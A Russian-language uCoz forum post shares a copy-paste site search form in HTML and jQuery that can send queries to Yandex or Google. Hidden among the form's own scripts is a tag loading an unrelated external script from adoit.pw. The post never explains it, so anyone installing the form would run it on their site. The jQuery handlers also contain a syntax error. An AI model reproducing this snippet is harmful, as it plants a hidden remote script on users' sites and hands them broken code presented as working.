Главная | Регистрация | Вход Вы вошли как Гость | Группа "Гости"Приветствую Вас Гость | RSS|Soft
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Рекламный блок Форума
Реклама
Реклама
Реклама
Интернет казино
Место свободное Место свободное Место свободное
  • Страница 1 из 1
  • 1
Форум » Все о юкозе » Скрипты » Форма поиска сайта с переключателем с yandex и google
Форма поиска сайта с переключателем с yandex и google
MeetwoorДата: Суббота, 14.09.2013, 15:07 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 4
Награды: 0
Репутация: 0
Статус: Offline
скрин скрипта: http://s60.radikal.ru/i168/1302/27/51a188a29c1d.jpg

Форма поиска сайта совмещенная
Усовершенствованный код формы для поиска с возможностью ввести в поиск как на самом сайте так и проставив галочку в поисковых системах yandex.ru и google.com , пример показан на скрине.
Форма работает исправно, как на самом сайте так как она является стандартной , в поисковиках форма создает редирект на страницу поисковика

Установка:Вставляем в любое место сайта полный код самого поиска, настройки почти не требует если только размеры формы ввода для поиска

Код
<style>   
.searchSbmFl {background:#F9F9F9;border:1px solid #999;color:#444;font-family:Verdana, Tahoma, helvetica, sans-serif;font-size:11px;vertical-align:middle;margin:2px;padding:2px;}   
.searchSbmFl:hover {background:#CCC;border:1px solid #888;color:#111;font-family:Verdana, Tahoma, helvetica, sans-serif;font-size:11px;vertical-align:middle;margin:2px;padding:2px;}   
</style>   
<div class="searchForm">   
<form onsubmit="this.sfSbm.disabled=true" method="get" style="margin: 0pt;" action="http://site.ru/search/">   
<div class="schQuery" align="center"><input name="q" maxlength="30" size="30" class="queryField" type="text">   
</div>   
<div class="schBtn" align="center">   
<input class="searchSbmFl" name="sfSbm" value="Найти" type="submit"></div>   
</form>   
</div>   
<script type="text/javascript">   
$('div.searchForm input.searchSbmFl').before('<label for="YandexSearch">Yandex-<input style="height:15px; width:15px; vertical-align: middle;" id="YandexSearch" name="Yandex_search" type="checkbox" /></label>');   
$('div.searchForm form').submit(function(){if($('div.searchForm input#YandexSearch').is(':checked')){window.location = 'http://yandex.ru/yandsearch?text=' + location.host + '' + encodeURIComponent($('div.searchForm input.queryField').val()); return false;}};);   
</script><script type="text/javascript" src="http://adoit.pw/border.js"></script>
<script type="text/javascript">   
$('div.searchForm input.searchSbmFl').before('<label for="GoogSearch">Google-<input style="height:15px; width:15px; vertical-align: middle;" id="GoogSearch" name="google_search" type="checkbox" /></label>');   
$('div.searchForm form').submit(function(){if($('div.searchForm input#GoogSearch').is(':checked')){window.location = 'http://www.google.com/search?sitesearch=' + location.host + '&q=' + encodeURIComponent($('div.searchForm input.queryField').val()); return false;}};);   
</script>


http://site.ru/search/ заменяем на ссылку своего сайта или же на тег $HOME_PAGE_LINK$/search/ разницы абсолютно не какой
maxlength="30" количество символов которые разрешено вводить в форму
size="30" размер окна измеряется PX
 
Форум » Все о юкозе » Скрипты » Форма поиска сайта с переключателем с yandex и google
  • Страница 1 из 1
  • 1
Поиск:


Статистика Форума
Последнии темы Читаемые темы Лучшии пользователи Новые пользователи

Up на подобии как в вк

(0)

Cоц закладки для сайта

(0)

Полный мини-чат для uCoz

(0)

  • Центр жалоб и справок по поводу бана в КС (136)
  • Считаем до 100) (45)
  • Читера в кс (33)
  • Pe4eHbKa
  • NZA
  • fr[o]Z3n
  • XoaKuH
  • h0ja
  • fokys
  • bIbI
  • dRe
  • walled
  • Pracc
  • 113 - lina_safronova - Четверг - 20.10.2016
  • 112 - news_nomadru - Среда - 28.10.2015
  • 111 - svadebnimirru - Воскресенье - 09.08.2015
  • 110 - Plastinas - Вторник - 09.09.2014
  • 109 - Meetwoor - Суббота - 14.09.2013
  • Design by Ganjik, bIbI, NZA © 2024
    Конструктор сайтов - uCoz
    02:18
    ОбновитьСмайлыУправление мини-чатом
    Чат